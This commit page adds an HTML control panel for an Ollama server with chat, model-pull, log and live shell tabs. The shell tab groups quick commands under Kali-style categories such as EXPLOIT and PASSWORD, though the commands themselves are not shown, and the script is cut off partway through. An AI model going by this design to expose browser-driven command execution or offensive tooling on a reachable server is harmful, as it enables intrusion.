proti0070 commited on
Commit
ecbcf6e
Β·
verified Β·
1 Parent(s): da0db0e

Create web_ui.html

Browse files
Files changed (1) hide show
  1. web_ui.html +1026 -0
web_ui.html ADDED
@@ -0,0 +1,1026 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8"/>
5
+ <meta name="viewport" content="width=device-width,initial-scale=1"/>
6
+ <title>OLLAMA CONTROL</title>
7
+ <link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300&display=swap" rel="stylesheet"/>
8
+ <style>
9
+ :root {
10
+ --bg: #080a0c;
11
+ --panel: #0d1117;
12
+ --border: #1c2333;
13
+ --accent: #00e5ff;
14
+ --accent2: #ff6b35;
15
+ --accent3: #39ff14;
16
+ --text: #c9d1d9;
17
+ --dim: #484f58;
18
+ --danger: #f85149;
19
+ --success: #39d353;
20
+ --warn: #e3b341;
21
+ --font-mono: 'Share Tech Mono', monospace;
22
+ --font-body: 'DM Mono', monospace;
23
+ --font-head: 'Bebas Neue', sans-serif;
24
+ }
25
+ *{box-sizing:border-box;margin:0;padding:0}
26
+ html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-body);overflow:hidden}
27
+
28
+ /* ── SCAN LINE OVERLAY ── */
29
+ body::after{
30
+ content:'';position:fixed;inset:0;pointer-events:none;z-index:9999;
31
+ background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.07) 2px,rgba(0,0,0,.07) 4px);
32
+ }
33
+
34
+ /* ── LAYOUT ── */
35
+ #app{display:grid;grid-template-rows:56px 1fr;height:100vh}
36
+
37
+ /* ── HEADER ── */
38
+ header{
39
+ display:flex;align-items:center;gap:16px;padding:0 20px;
40
+ background:var(--panel);border-bottom:1px solid var(--border);
41
+ position:relative;overflow:hidden;
42
+ }
43
+ header::before{
44
+ content:'';position:absolute;bottom:0;left:0;right:0;height:1px;
45
+ background:linear-gradient(90deg,transparent,var(--accent),var(--accent2),transparent);
46
+ animation:scanH 3s linear infinite;
47
+ }
48
+ @keyframes scanH{from{transform:translateX(-100%)}to{transform:translateX(100%)}}
49
+
50
+ .logo{font-family:var(--font-head);font-size:28px;letter-spacing:3px;color:var(--accent);text-shadow:0 0 20px rgba(0,229,255,.4)}
51
+ .logo span{color:var(--accent2)}
52
+ .status-dot{width:8px;height:8px;border-radius:50%;background:var(--danger);box-shadow:0 0 6px var(--danger);animation:pulse 2s infinite;flex-shrink:0}
53
+ .status-dot.online{background:var(--accent3);box-shadow:0 0 8px var(--accent3)}
54
+ @keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
55
+ .status-text{font-size:11px;color:var(--dim);letter-spacing:1px}
56
+ .spacer{flex:1}
57
+
58
+ /* model selector */
59
+ .model-select-wrap{display:flex;align-items:center;gap:8px}
60
+ .model-select-wrap label{font-size:10px;color:var(--dim);letter-spacing:2px;text-transform:uppercase}
61
+ #global-model{
62
+ background:#111;border:1px solid var(--border);color:var(--accent);
63
+ font-family:var(--font-mono);font-size:12px;padding:4px 8px;border-radius:3px;
64
+ outline:none;cursor:pointer;
65
+ }
66
+ #global-model:focus{border-color:var(--accent)}
67
+
68
+ /* ── TABS ── */
69
+ #tabs{display:flex;height:100%;overflow:hidden}
70
+ .tab-nav{
71
+ display:flex;flex-direction:column;width:52px;background:var(--panel);
72
+ border-right:1px solid var(--border);padding:8px 0;gap:2px;flex-shrink:0;
73
+ }
74
+ .tab-btn{
75
+ display:flex;flex-direction:column;align-items:center;justify-content:center;
76
+ gap:4px;padding:12px 4px;cursor:pointer;border:none;background:transparent;
77
+ color:var(--dim);font-size:8px;letter-spacing:1px;text-transform:uppercase;
78
+ border-left:2px solid transparent;transition:all .2s;
79
+ }
80
+ .tab-btn svg{width:18px;height:18px;stroke:currentColor;fill:none;stroke-width:1.5}
81
+ .tab-btn:hover{color:var(--text);background:rgba(255,255,255,.03)}
82
+ .tab-btn.active{color:var(--accent);border-left-color:var(--accent);background:rgba(0,229,255,.05)}
83
+ .tab-btn.active svg{filter:drop-shadow(0 0 4px var(--accent))}
84
+
85
+ .panels{flex:1;overflow:hidden;position:relative}
86
+ .panel{position:absolute;inset:0;display:none;flex-direction:column}
87
+ .panel.active{display:flex}
88
+
89
+ /* ── SHARED PANEL PARTS ── */
90
+ .panel-header{
91
+ padding:12px 16px;border-bottom:1px solid var(--border);
92
+ display:flex;align-items:center;gap:10px;flex-shrink:0;
93
+ }
94
+ .panel-title{font-family:var(--font-head);font-size:20px;letter-spacing:2px;color:var(--text)}
95
+ .panel-title span{color:var(--accent)}
96
+ .badge{
97
+ font-size:9px;padding:2px 7px;border-radius:2px;letter-spacing:1px;
98
+ background:rgba(0,229,255,.1);border:1px solid rgba(0,229,255,.3);color:var(--accent);
99
+ }
100
+
101
+ /* ── CHAT PANEL ── */
102
+ #chat-panel{background:var(--bg)}
103
+ #chat-messages{
104
+ flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;
105
+ scroll-behavior:smooth;
106
+ }
107
+ #chat-messages::-webkit-scrollbar{width:4px}
108
+ #chat-messages::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}
109
+
110
+ .msg{display:flex;gap:10px;max-width:85%;animation:msgIn .2s ease}
111
+ @keyframes msgIn{from{opacity:0;transform:translateY(6px)}to{opacity:1;transform:none}}
112
+ .msg.user{align-self:flex-end;flex-direction:row-reverse}
113
+ .msg-avatar{
114
+ width:28px;height:28px;border-radius:3px;display:flex;align-items:center;
115
+ justify-content:center;font-size:10px;font-weight:bold;flex-shrink:0;margin-top:2px;
116
+ }
117
+ .msg.user .msg-avatar{background:rgba(255,107,53,.2);border:1px solid var(--accent2);color:var(--accent2)}
118
+ .msg.ai .msg-avatar{background:rgba(0,229,255,.1);border:1px solid rgba(0,229,255,.3);color:var(--accent)}
119
+ .msg-bubble{
120
+ padding:10px 14px;border-radius:4px;font-size:13px;line-height:1.6;
121
+ font-family:var(--font-body);white-space:pre-wrap;word-break:break-word;
122
+ }
123
+ .msg.user .msg-bubble{background:rgba(255,107,53,.12);border:1px solid rgba(255,107,53,.25);color:#ffb899}
124
+ .msg.ai .msg-bubble{background:rgba(0,229,255,.05);border:1px solid rgba(0,229,255,.15);color:var(--text)}
125
+ .msg.ai .msg-bubble.streaming::after{
126
+ content:'β–‹';animation:blink .6s step-end infinite;color:var(--accent);
127
+ }
128
+ @keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
129
+ .msg-time{font-size:9px;color:var(--dim);margin-top:4px;text-align:right}
130
+
131
+ .chat-empty{
132
+ flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;
133
+ gap:8px;color:var(--dim);
134
+ }
135
+ .chat-empty .big{font-family:var(--font-head);font-size:48px;letter-spacing:4px;color:rgba(0,229,255,.1)}
136
+
137
+ #chat-input-area{
138
+ padding:12px 16px;border-top:1px solid var(--border);
139
+ display:flex;gap:8px;align-items:flex-end;background:var(--panel);
140
+ }
141
+ #chat-input{
142
+ flex:1;background:#0a0f15;border:1px solid var(--border);color:var(--text);
143
+ font-family:var(--font-body);font-size:13px;padding:10px 12px;border-radius:4px;
144
+ outline:none;resize:none;max-height:120px;min-height:40px;
145
+ transition:border-color .2s;line-height:1.5;
146
+ }
147
+ #chat-input:focus{border-color:rgba(0,229,255,.4)}
148
+ #chat-input::placeholder{color:var(--dim)}
149
+ .send-btn{
150
+ background:var(--accent);color:#000;border:none;padding:10px 16px;
151
+ border-radius:4px;cursor:pointer;font-family:var(--font-head);font-size:14px;
152
+ letter-spacing:1px;transition:all .2s;flex-shrink:0;height:40px;
153
+ display:flex;align-items:center;gap:6px;
154
+ }
155
+ .send-btn:hover{background:#33eaff;box-shadow:0 0 16px rgba(0,229,255,.4)}
156
+ .send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none}
157
+ .send-btn svg{width:14px;height:14px;stroke:currentColor;fill:none;stroke-width:2}
158
+
159
+ /* ── SHELL PANEL ── */
160
+ #shell-panel{background:#060809}
161
+ .shell-toolbar{
162
+ padding:8px 16px;border-bottom:1px solid var(--border);
163
+ display:flex;gap:8px;align-items:center;background:var(--panel);flex-shrink:0;
164
+ }
165
+ .shell-input-wrap{
166
+ flex:1;display:flex;align-items:center;gap:8px;
167
+ background:#070c10;border:1px solid var(--border);border-radius:3px;padding:0 10px;
168
+ }
169
+ .shell-prompt{color:var(--accent3);font-family:var(--font-mono);font-size:13px;user-select:none}
170
+ #shell-input{
171
+ flex:1;background:transparent;border:none;outline:none;
172
+ color:#e0ffe0;font-family:var(--font-mono);font-size:13px;padding:8px 0;
173
+ }
174
+ #shell-input::placeholder{color:#1e3a1e}
175
+ .run-btn,.kill-btn{
176
+ border:none;padding:7px 14px;border-radius:3px;cursor:pointer;
177
+ font-family:var(--font-head);font-size:13px;letter-spacing:1px;
178
+ transition:all .2s;white-space:nowrap;
179
+ }
180
+ .run-btn{background:var(--accent3);color:#000}
181
+ .run-btn:hover{box-shadow:0 0 12px rgba(57,255,20,.4)}
182
+ .run-btn:disabled{background:#1a2e1a;color:#2a4a2a;cursor:not-allowed}
183
+ .kill-btn{background:var(--danger);color:#fff;display:none}
184
+ .kill-btn:hover{box-shadow:0 0 12px rgba(248,81,73,.4)}
185
+ .kill-btn.visible{display:block}
186
+
187
+ #shell-output{
188
+ flex:1;overflow-y:auto;padding:14px 16px;
189
+ font-family:var(--font-mono);font-size:12.5px;line-height:1.7;
190
+ color:#b0ffb0;word-break:break-all;
191
+ }
192
+ #shell-output::-webkit-scrollbar{width:4px}
193
+ #shell-output::-webkit-scrollbar-thumb{background:var(--border)}
194
+ .shell-line{}
195
+ .shell-cmd-echo{color:var(--accent);margin:6px 0 2px}
196
+ .shell-exit-ok{color:var(--accent3);font-size:11px;margin-top:4px}
197
+ .shell-exit-err{color:var(--danger);font-size:11px;margin-top:4px}
198
+ .shell-empty-msg{color:#1e3a1e;text-align:center;margin-top:60px;font-size:13px}
199
+
200
+ /* shell quick cmds */
201
+ .quick-cmds{
202
+ display:flex;gap:6px;padding:6px 16px;border-bottom:1px solid var(--border);
203
+ flex-wrap:wrap;flex-shrink:0;background:#07090c;
204
+ }
205
+ .qcmd{
206
+ font-family:var(--font-mono);font-size:10px;padding:3px 8px;
207
+ background:rgba(57,255,20,.06);border:1px solid rgba(57,255,20,.2);
208
+ color:rgba(57,255,20,.7);border-radius:2px;cursor:pointer;
209
+ transition:all .15s;white-space:nowrap;
210
+ }
211
+ .qcmd:hover{background:rgba(57,255,20,.15);color:var(--accent3)}
212
+ .cat-tab{
213
+ background:transparent;border:none;border-bottom:2px solid transparent;
214
+ color:var(--dim);font-family:var(--font-mono);font-size:10px;
215
+ padding:8px 14px;cursor:pointer;white-space:nowrap;transition:all .15s;
216
+ letter-spacing:.5px;
217
+ }
218
+ .cat-tab:hover{color:var(--text);background:rgba(255,255,255,.03)}
219
+ .cat-tab.active{color:var(--accent3);border-bottom-color:var(--accent3);background:rgba(57,255,20,.05)}
220
+
221
+ /* ── MODELS PANEL ── */
222
+ #models-panel{background:var(--bg)}
223
+ .models-content{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px}
224
+ .models-actions{display:flex;gap:8px;flex-wrap:wrap}
225
+ .pull-wrap{display:flex;gap:8px;flex:1;min-width:200px}
226
+ #pull-input{
227
+ flex:1;background:#0a0f15;border:1px solid var(--border);color:var(--text);
228
+ font-family:var(--font-mono);font-size:12px;padding:8px 12px;border-radius:3px;outline:none;
229
+ }
230
+ #pull-input:focus{border-color:rgba(0,229,255,.4)}
231
+ #pull-input::placeholder{color:var(--dim)}
232
+ .action-btn{
233
+ border:none;padding:8px 16px;border-radius:3px;cursor:pointer;
234
+ font-family:var(--font-head);font-size:13px;letter-spacing:1px;transition:all .2s;
235
+ }
236
+ .action-btn.primary{background:var(--accent);color:#000}
237
+ .action-btn.primary:hover{box-shadow:0 0 12px rgba(0,229,255,.4)}
238
+ .action-btn.secondary{background:var(--border);color:var(--text)}
239
+ .action-btn.secondary:hover{background:#2a3340}
240
+
241
+ .model-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(280px,1fr));gap:10px}
242
+ .model-card{
243
+ background:var(--panel);border:1px solid var(--border);border-radius:5px;
244
+ padding:14px;transition:border-color .2s;cursor:pointer;
245
+ }
246
+ .model-card:hover{border-color:rgba(0,229,255,.3)}
247
+ .model-card.active-model{border-color:var(--accent);background:rgba(0,229,255,.04)}
248
+ .model-name{font-family:var(--font-mono);font-size:13px;color:var(--accent);margin-bottom:4px}
249
+ .model-meta{font-size:11px;color:var(--dim);display:flex;gap:12px;flex-wrap:wrap}
250
+ .model-meta span{display:flex;align-items:center;gap:4px}
251
+ .model-actions{margin-top:10px;display:flex;gap:6px}
252
+ .m-btn{
253
+ font-size:10px;padding:4px 10px;border-radius:2px;border:none;cursor:pointer;
254
+ font-family:var(--font-head);letter-spacing:1px;transition:all .15s;
255
+ }
256
+ .m-btn.use{background:rgba(0,229,255,.15);color:var(--accent);border:1px solid rgba(0,229,255,.3)}
257
+ .m-btn.use:hover{background:rgba(0,229,255,.25)}
258
+ .m-btn.del{background:rgba(248,81,73,.1);color:var(--danger);border:1px solid rgba(248,81,73,.3)}
259
+ .m-btn.del:hover{background:rgba(248,81,73,.2)}
260
+
261
+ .pull-progress{
262
+ background:var(--panel);border:1px solid var(--border);border-radius:5px;padding:14px;
263
+ display:none;
264
+ }
265
+ .pull-progress.visible{display:block}
266
+ .progress-label{font-size:11px;color:var(--dim);margin-bottom:8px;font-family:var(--font-mono)}
267
+ .progress-bar-wrap{background:#0a0f15;border-radius:2px;height:4px;overflow:hidden}
268
+ .progress-bar{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent2));
269
+ width:0%;transition:width .3s;border-radius:2px}
270
+ .progress-status{font-size:11px;color:var(--accent);margin-top:6px;font-family:var(--font-mono)}
271
+
272
+ /* no models */
273
+ .no-models{text-align:center;padding:40px;color:var(--dim)}
274
+ .no-models .icon{font-size:48px;margin-bottom:12px;opacity:.3}
275
+
276
+ /* ── LOGS PANEL ── */
277
+ #logs-panel{background:#060809}
278
+ #log-output{
279
+ flex:1;overflow-y:auto;padding:14px 16px;
280
+ font-family:var(--font-mono);font-size:11.5px;line-height:1.8;color:#7a8a7a;
281
+ }
282
+ .log-line{border-bottom:1px solid rgba(255,255,255,.02);padding:1px 0}
283
+ .log-line.info{color:#7aafbf}
284
+ .log-line.warn{color:var(--warn)}
285
+ .log-line.error{color:var(--danger)}
286
+ .log-line.success{color:var(--accent3)}
287
+ .log-ts{color:var(--dim);margin-right:8px;user-select:none}
288
+ .logs-toolbar{padding:8px 16px;border-bottom:1px solid var(--border);background:var(--panel);flex-shrink:0;display:flex;gap:8px}
289
+
290
+ /* ── TOAST ── */
291
+ #toast{
292
+ position:fixed;bottom:20px;right:20px;z-index:10000;
293
+ display:flex;flex-direction:column;gap:8px;pointer-events:none;
294
+ }
295
+ .toast-item{
296
+ background:var(--panel);border-radius:4px;padding:10px 16px;
297
+ font-size:12px;animation:toastIn .3s ease;border-left:3px solid var(--accent);
298
+ box-shadow:0 4px 20px rgba(0,0,0,.6);
299
+ }
300
+ .toast-item.error{border-color:var(--danger);color:var(--danger)}
301
+ .toast-item.success{border-color:var(--accent3);color:var(--accent3)}
302
+ @keyframes toastIn{from{opacity:0;transform:translateX(20px)}to{opacity:1;transform:none}}
303
+
304
+ /* scrollbar global */
305
+ *::-webkit-scrollbar{width:4px;height:4px}
306
+ *::-webkit-scrollbar-track{background:transparent}
307
+ *::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}
308
+ </style>
309
+ </head>
310
+ <body>
311
+ <div id="app">
312
+ <!-- HEADER -->
313
+ <header>
314
+ <div class="logo">OLLAMA<span>CTRL</span></div>
315
+ <div class="status-dot" id="status-dot"></div>
316
+ <div class="status-text" id="status-text">CONNECTING...</div>
317
+ <div class="spacer"></div>
318
+ <div class="model-select-wrap">
319
+ <label>MODEL</label>
320
+ <select id="global-model"><option value="">β€” select β€”</option></select>
321
+ </div>
322
+ </header>
323
+
324
+ <!-- MAIN -->
325
+ <div id="tabs">
326
+ <!-- TAB NAV -->
327
+ <nav class="tab-nav">
328
+ <button class="tab-btn active" data-tab="chat" title="Chat">
329
+ <svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>
330
+ CHAT
331
+ </button>
332
+ <button class="tab-btn" data-tab="shell" title="Shell">
333
+ <svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
334
+ SHELL
335
+ </button>
336
+ <button class="tab-btn" data-tab="models" title="Models">
337
+ <svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg>
338
+ MODELS
339
+ </button>
340
+ <button class="tab-btn" data-tab="logs" title="Logs">
341
+ <svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/><polyline points="10 9 9 9 8 9"/></svg>
342
+ LOGS
343
+ </button>
344
+ </nav>
345
+
346
+ <div class="panels">
347
+ <!-- ── CHAT ── -->
348
+ <div class="panel active" id="chat-panel">
349
+ <div class="panel-header">
350
+ <div class="panel-title">AI <span>CHAT</span></div>
351
+ <div class="badge" id="chat-model-badge">no model</div>
352
+ <div style="flex:1"></div>
353
+ <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="clearChat()">CLEAR</button>
354
+ </div>
355
+ <div id="chat-messages">
356
+ <div class="chat-empty" id="chat-empty">
357
+ <div class="big">OLLAMA</div>
358
+ <div style="font-size:12px;color:var(--dim);letter-spacing:2px">SELECT A MODEL AND START CHATTING</div>
359
+ </div>
360
+ </div>
361
+ <div id="chat-input-area">
362
+ <textarea id="chat-input" rows="1" placeholder="Type a message... (Enter to send, Shift+Enter for newline)"></textarea>
363
+ <button class="send-btn" id="send-btn" onclick="sendChat()">
364
+ <svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg>
365
+ SEND
366
+ </button>
367
+ </div>
368
+ </div>
369
+
370
+ <!-- ── SHELL ── -->
371
+ <div class="panel" id="shell-panel">
372
+ <div class="panel-header">
373
+ <div class="panel-title">SHELL <span>TERMINAL</span></div>
374
+ <div class="badge">LIVE STREAM</div>
375
+ </div>
376
+ <!-- Kali tool category tabs -->
377
+ <div style="display:flex;gap:0;border-bottom:1px solid var(--border);flex-shrink:0;background:#07090c;overflow-x:auto" id="cat-tabs">
378
+ <button class="cat-tab active" onclick="switchCat(this,'system')">βš™ SYSTEM</button>
379
+ <button class="cat-tab" onclick="switchCat(this,'recon')">πŸ” RECON</button>
380
+ <button class="cat-tab" onclick="switchCat(this,'web')">🌐 WEB</button>
381
+ <button class="cat-tab" onclick="switchCat(this,'network')">πŸ“‘ NETWORK</button>
382
+ <button class="cat-tab" onclick="switchCat(this,'exploit')">πŸ’₯ EXPLOIT</button>
383
+ <button class="cat-tab" onclick="switchCat(this,'password')">πŸ”‘ PASSWORD</button>
384
+ <button class="cat-tab" onclick="switchCat(this,'forensics')">πŸ”¬ FORENSICS</button>
385
+ <button class="cat-tab" onclick="switchCat(this,'ollama')">πŸ¦™ OLLAMA</button>
386
+ </div>
387
+ <div class="quick-cmds" id="quick-cmds"><!-- populated by JS --></div>
388
+ <div class="shell-toolbar">
389
+ <div class="shell-input-wrap">
390
+ <span class="shell-prompt">$&nbsp;</span>
391
+ <input id="shell-input" type="text" placeholder="enter command..." autocomplete="off" spellcheck="false"/>
392
+ </div>
393
+ <button class="run-btn" id="run-btn" onclick="runShell()">β–Ά RUN</button>
394
+ <button class="kill-btn" id="kill-btn" onclick="killShell()">β–  KILL</button>
395
+ <button class="action-btn secondary" style="font-size:11px;padding:6px 10px" onclick="clearShell()">CLR</button>
396
+ </div>
397
+ <div id="shell-output">
398
+ <div class="shell-empty-msg">// awaiting command input</div>
399
+ </div>
400
+ </div>
401
+
402
+ <!-- ── MODELS ── -->
403
+ <div class="panel" id="models-panel">
404
+ <div class="panel-header">
405
+ <div class="panel-title">MODEL <span>MANAGER</span></div>
406
+ <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="loadModels()">↻ REFRESH</button>
407
+ </div>
408
+ <div class="models-content">
409
+ <!-- Pull bar -->
410
+ <div style="background:var(--panel);border:1px solid var(--border);border-radius:5px;padding:14px">
411
+ <div style="font-size:10px;color:var(--dim);letter-spacing:2px;margin-bottom:10px">PULL NEW MODEL</div>
412
+ <div class="models-actions">
413
+ <div class="pull-wrap">
414
+ <input id="pull-input" type="text" placeholder="e.g. llama3.2, phi3, mistral, gemma2:2b"/>
415
+ <button class="action-btn primary" onclick="pullModel()">⬇ PULL</button>
416
+ </div>
417
+ </div>
418
+ <div style="margin-top:8px;display:flex;gap:8px;flex-wrap:wrap" id="popular-models">
419
+ <span class="qcmd" onclick="document.getElementById('pull-input').value='tinyllama'">tinyllama</span>
420
+ <span class="qcmd" onclick="document.getElementById('pull-input').value='phi3'">phi3</span>
421
+ <span class="qcmd" onclick="document.getElementById('pull-input').value='gemma2:2b'">gemma2:2b</span>
422
+ <span class="qcmd" onclick="document.getElementById('pull-input').value='mistral'">mistral</span>
423
+ <span class="qcmd" onclick="document.getElementById('pull-input').value='llama3.2'">llama3.2</span>
424
+ <span class="qcmd" onclick="document.getElementById('pull-input').value='qwen2.5:3b'">qwen2.5:3b</span>
425
+ <span class="qcmd" onclick="document.getElementById('pull-input').value='deepseek-r1:7b'">deepseek-r1:7b</span>
426
+ </div>
427
+ </div>
428
+
429
+ <!-- Pull progress -->
430
+ <div class="pull-progress" id="pull-progress">
431
+ <div class="progress-label" id="pull-model-name">Pulling...</div>
432
+ <div class="progress-bar-wrap"><div class="progress-bar" id="pull-bar"></div></div>
433
+ <div class="progress-status" id="pull-status">Initializing...</div>
434
+ </div>
435
+
436
+ <!-- Model list -->
437
+ <div class="model-grid" id="model-grid">
438
+ <div class="no-models">
439
+ <div class="icon">πŸ“¦</div>
440
+ <div style="font-size:12px;letter-spacing:1px">Loading models...</div>
441
+ </div>
442
+ </div>
443
+ </div>
444
+ </div>
445
+
446
+ <!-- ── LOGS ── -->
447
+ <div class="panel" id="logs-panel">
448
+ <div class="panel-header">
449
+ <div class="panel-title">SYSTEM <span>LOGS</span></div>
450
+ <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="clearLogs()">CLEAR</button>
451
+ </div>
452
+ <div id="log-output">
453
+ <div class="log-line info"><span class="log-ts">[INIT]</span> OllamaCtrl web interface started</div>
454
+ </div>
455
+ </div>
456
+ </div>
457
+ </div>
458
+ </div>
459
+
460
+ <!-- TOAST -->
461
+ <div id="toast"></div>
462
+
463
+ <script>
464
+ // ─────────────────────────────────────────────
465
+ // CONFIG β€” auto-detect base URL
466
+ // ─────────────────────────────────────────────
467
+ const BASE = window.location.origin; // same origin as /web
468
+
469
+ // ─────────────────────────────────────────────
470
+ // STATE
471
+ // ─────────────────────────────────────────────
472
+ let currentModel = '';
473
+ let chatHistory = [];
474
+ let shellController = null;
475
+ let shellRunning = false;
476
+ let shellHistory = [];
477
+ let shellHistoryIdx = -1;
478
+
479
+ // ─────────────────────────────────────────────
480
+ // UTILS
481
+ // ─────────────────────────────────────────────
482
+ function log(msg, type='info') {
483
+ const el = document.getElementById('log-output');
484
+ const ts = new Date().toLocaleTimeString('en',{hour12:false});
485
+ const line = document.createElement('div');
486
+ line.className = `log-line ${type}`;
487
+ line.innerHTML = `<span class="log-ts">[${ts}]</span> ${msg}`;
488
+ el.appendChild(line);
489
+ el.scrollTop = el.scrollHeight;
490
+ }
491
+
492
+ function toast(msg, type='info') {
493
+ const t = document.getElementById('toast');
494
+ const el = document.createElement('div');
495
+ el.className = `toast-item ${type}`;
496
+ el.textContent = msg;
497
+ t.appendChild(el);
498
+ setTimeout(()=>el.remove(), 3500);
499
+ }
500
+
501
+ function clearLogs(){document.getElementById('log-output').innerHTML=''}
502
+
503
+ function fmt(bytes) {
504
+ if (!bytes) return '';
505
+ const gb = bytes/1e9;
506
+ return gb >= 1 ? gb.toFixed(1)+'GB' : (bytes/1e6).toFixed(0)+'MB';
507
+ }
508
+
509
+ function now(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'})}
510
+
511
+ // ─────────────────────────────────────────────
512
+ // TABS
513
+ // ─────────────────────────────────────────────
514
+ document.querySelectorAll('.tab-btn').forEach(btn=>{
515
+ btn.addEventListener('click',()=>{
516
+ const tab = btn.dataset.tab;
517
+ document.querySelectorAll('.tab-btn').forEach(b=>b.classList.remove('active'));
518
+ document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active'));
519
+ btn.classList.add('active');
520
+ document.getElementById(tab+'-panel').classList.add('active');
521
+ if(tab==='models') loadModels();
522
+ });
523
+ });
524
+
525
+ // ─────────────────────────────────────────────
526
+ // STATUS CHECK
527
+ // ─────────────────────────────────────────────
528
+ async function checkStatus() {
529
+ try {
530
+ const r = await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)});
531
+ if(r.ok){
532
